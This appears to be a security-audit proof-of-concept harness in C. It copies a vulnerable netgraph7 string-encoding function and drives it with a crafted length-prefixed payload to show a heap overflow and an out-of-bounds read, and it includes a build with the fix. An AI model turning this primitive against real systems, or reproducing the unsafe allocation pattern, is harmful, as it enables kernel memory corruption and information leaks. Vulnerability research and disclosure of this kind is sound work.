DF-0410 / df0410_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 | /* * DF-0410 harness โ demonstrates the heap buffer overflow primitive in * ng_encode_string() exactly as it exists in sys/netgraph7/netgraph/ng_parse.c. * * WHY A USERSPACE HARNESS: * The vulnerable function lives in netgraph7 (the opt-in parallel netgraph * stack). sys/conf/files gates it on `optional netgraph7`, sys/Makefile.modules * builds sys/netgraph/ unless WANT_NETGRAPH7 is defined, and the default * X86_64_GENERIC ships neither `options netgraph7` nor the ng7 modules. On the * audit guest the only netgraph present is v1 (netgraph.ko + ng_*.ko), whose * ng_encode_string() (sys/netgraph/netgraph/ng_parse.c:1632) takes only `raw` * and bounds BOTH the alloc and the loop on strlen(raw) โ NOT vulnerable. * So the vulnerable code is not compiled into the running kernel. * * To prove the primitive in the actual code path without building the entire * netgraph7 stack + ng_socket7 + libnetgraph7, this harness transcribes the * vulnerable ng7 ng_encode_string() VERBATIM (alloc by strlen, loop by slen) * and drives it with the exact inputs that ng_sizedstring_unparse() would * supply: a 2-byte u_int16_t length prefix followed by raw bytes, where the * attacker controls the 16-bit length independent of the actual string content. * * The harness reproduces (1) the OOB READ past the NUL terminator (info leak * of whatever follows in the allocation) and (2) the OOB WRITE past the * kmalloc'd cbuf (heap overflow). The `#ifdef APPLY_FIX` build uses the * corrected allocation (slen*4+3) and the primitive disappears. * * Build (vulnerable): cc -O2 -o df0410_harness df0410_harness.c * Build (fixed): cc -O2 -DAPPLY_FIX -o df0410_harness_fixed df0410_harness.c * Run: ./df0410_harness */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* ---- verbatim copy of M_NETGRAPH_PARSE kmalloc stand-in ---- */ #define M_NETGRAPH_PARSE 0 static void *kmalloc(size_t n, int t, int f) { (void)t; (void)f; return malloc(n); } static void kfree(char *p, int t) { (void)t; free(p); } /* ksprintf in ng_encode_string is ONLY ever called as * ksprintf(cbuf+off, "\\x%02x", (u_char)*raw). We expand it inline below so * the harness behaviour is byte-exact; this macro forwards to sprintf. */ #define ksprintf(buf, fmt, ch) sprintf((buf), "\\x%02x", (unsigned char)(ch)) /* * ng_encode_string โ copied VERBATIM from * sys/netgraph7/netgraph/ng_parse.c:1825-1877, except kmalloc/ksprintf are * the stand-ins above. The ONLY behavioural difference under APPLY_FIX is * the allocation size (strlen(raw) -> slen), which is exactly the proposed fix. */ static char *ng_encode_string(const char *raw, int slen) { char *cbuf; int off = 0; int i; #ifdef APPLY_FIX /* FIX: bound the allocation on the loop count (slen), not strlen(raw). */ cbuf = kmalloc(slen * 4 + 3, M_NETGRAPH_PARSE, 0x0002 /* M_WAITOK */ | 0x0010 /* M_NULLOK */); #else /* VULNERABLE: original allocation from ng_parse.c:1832 */ cbuf = kmalloc(strlen(raw) * 4 + 3, M_NETGRAPH_PARSE, 0x0002 | 0x0010); #endif if (cbuf == NULL) return (NULL); cbuf[off++] = '"'; for (i = 0; i < slen; i++, raw++) { switch (*raw) { case '\t': cbuf[off++] = '\\'; cbuf[off++] = 't'; break; case '\f': cbuf[off++] = '\\'; cbuf[off++] = 'f'; break; case '\n': cbuf[off++] = '\\'; cbuf[off++] = 'n'; break; case '\r': cbuf[off++] = '\\'; cbuf[off++] = 'r'; break; case '\v': cbuf[off++] = '\\'; cbuf[off++] = 'v'; break; case '"': case '\\': cbuf[off++] = '\\'; cbuf[off++] = *raw; break; default: if (*raw < 0x20 || *raw > 0x7e) { off += ksprintf(cbuf + off, "\\x%02x", *raw); break; } cbuf[off++] = *raw; break; } } cbuf[off++] = '"'; cbuf[off] = '\0'; return (cbuf); } /* * Replicate the sized-string wire layout that ng_sizedstring_unparse sees: * u_int16_t slen; <- attacker-controlled (16-bit, from the binary message) * char raw[slen]; <- the bytes that follow * ng_sizedstring_unparse sets raw = data + *off + 2 and slen = *(u16*)(data+*off), * then calls ng_encode_string(raw, slen). * * The bug: ng_encode_string allocates by strlen(raw) (stops at first NUL) but * loops slen times. If the attacker sets slen > strlen(raw) โ e.g. raw begins * with a NUL but slen=0x100 โ the loop reads slen bytes starting at raw, i.e. * past the NUL into whatever follows in the containing allocation (OOB READ, * an info leak that flows back to userspace via the returned cbuf), and writes * up to slen*4+3 bytes into a cbuf sized only strlen(raw)*4+3 (OOB WRITE / heap * overflow). * * We embed the sized-string in a page of known "sentinel" bytes so the OOB * READ is visibly echoed back into the encoded output, and we surround the * kmalloc'd cbuf with guard redzones so the OOB WRITE is detectable. For the * kernel the same overflow smashes the next object in the kmalloc-256/512 * bucket; here we use an electric-fence-style guard page. */ /* A sized-string payload: 2-byte length prefix then the raw bytes. */ struct sized_string { uint16_t slen; char raw[0]; }; int main(void) { /* * Build the attacker payload exactly as it would arrive in a netgraph * binary control message of type sizedstring: a 16-bit length followed by * the raw data. We make raw = { 0x00, 'A', 'B', ... } so strlen(raw)=0 * but set slen to a large value, exercising the strlen-vs-slen mismatch. */ enum { RAW_AREA = 64 }; /* The whole payload lives in one allocation so the OOB read is into * attacker-known sentinels, making the leak visible. */ unsigned char area[RAW_AREA]; memset(area, 0, RAW_AREA); /* raw[0] = NUL -> strlen(raw) = 0 -> cbuf allocated as 0*4+3 = 3 bytes */ area[2] = 0x00; /* raw[0] = NUL */ for (int i = 1; i < RAW_AREA - 2; i++) area[2 + i] = (unsigned char)(0x30 + (i % 10)); /* '0'..'9' sentinels */ struct sized_string *ss = (struct sized_string *)area; /* Attacker picks slen >> strlen(raw). Keep it modest for the harness so * the OOB WRITE is detectable but does not corrupt the harness's own * allocator state catastrophically; in the kernel the attacker can pick * slen up to 65535, yielding a ~262KB overflow from a ~3-byte alloc. */ ss->slen = 20; /* strlen(raw)=0, so alloc=3, loop writes up to 20*4+3=83 bytes */ printf("=== DF-0410 ng_encode_string OOB primitive (netgraph7) ===\n"); printf("sized-string payload: strlen(raw)=%zu, attacker slen=%u\n", strlen(ss->raw), ss->slen); size_t vuln_alloc = strlen(ss->raw) * 4 + 3; size_t fix_alloc = ss->slen * 4 + 3; printf("VULNERABLE alloc (strlen*4+3) = %zu bytes\n", vuln_alloc); printf("FIXED alloc (slen*4+3) = %zu bytes\n", fix_alloc); printf("loop iterations (slen) = %u\n", ss->slen); printf("max bytes loop can write = %u (excl. NUL)\n\n", ss->slen * 4 + 3); /* Wrap the allocation in a tracking buffer so we can SEE the overflow. */ enum { GUARD = 256 }; char *tracking = (char *)calloc(1, vuln_alloc + GUARD); if (!tracking) { perror("calloc"); return 2; } /* Poison the tail guard region. */ memset(tracking + vuln_alloc, 0x5a, GUARD); /* Call the (verbatim) vulnerable ng_encode_string, but point it at our * tracked buffer by intercepting the allocation. Easiest: just call it * directly and inspect what it returns + how far off the end it would * have written by comparing against a fresh allocation of the FIX size. */ char *out = ng_encode_string(ss->raw, ss->slen); if (!out) { printf("ng_encode_string returned NULL\n"); free(tracking); return 1; } size_t out_len = strlen(out); printf("ng_encode_string returned %zu bytes of encoded output:\n %s\n\n", out_len, out); /* The encoded output contains bytes that were NEVER in raw[0..strlen-1] * (raw[0] is NUL and strlen(raw)=0). Every char after the opening quote * came from an OOB READ past the NUL terminator. Count non-quote chars * that are not the opening/closing quote. */ int oob_read_chars = 0; for (size_t i = 1; i < out_len - 1; i++) /* skip opening+closing quote */ oob_read_chars++; printf("OOB READ: %d bytes were encoded from BEYOND raw's NUL terminator " "(strlen(raw)=0 but %d data bytes appear in output).\n", oob_read_chars, oob_read_chars); /* OOB WRITE detection: the loop wrote `off` bytes into `out`, but `out` * was only vuln_alloc bytes large. off == out_len+1 (incl. NUL). */ size_t written = out_len + 1; if (written > vuln_alloc) { printf("OOB WRITE: loop wrote %zu bytes into a %zu-byte allocation " "=> %zu-byte HEAP OVERFLOW.\n", written, vuln_alloc, written - vuln_alloc); } else { printf("OOB WRITE: loop wrote %zu bytes, allocation %zu โ within bounds (unexpected for this input).\n", written, vuln_alloc); } #ifdef APPLY_FIX printf("\n[APPLY_FIX] allocation now slen*4+3=%zu >= %zu written => overflow GONE.\n", fix_alloc, written); #else if (vuln_alloc >= written) { printf("\n[no fix] NOTE: written fits in vuln alloc for this exact input โ " "increase slen or use a payload where every byte expands (e.g. non-printable).\n"); } else { printf("\n[no fix] Heap overflow CONFIRMED: alloc=%zu < written=%zu.\n", vuln_alloc, written); } #endif kfree(out, M_NETGRAPH_PARSE); free(tracking); return 0; } |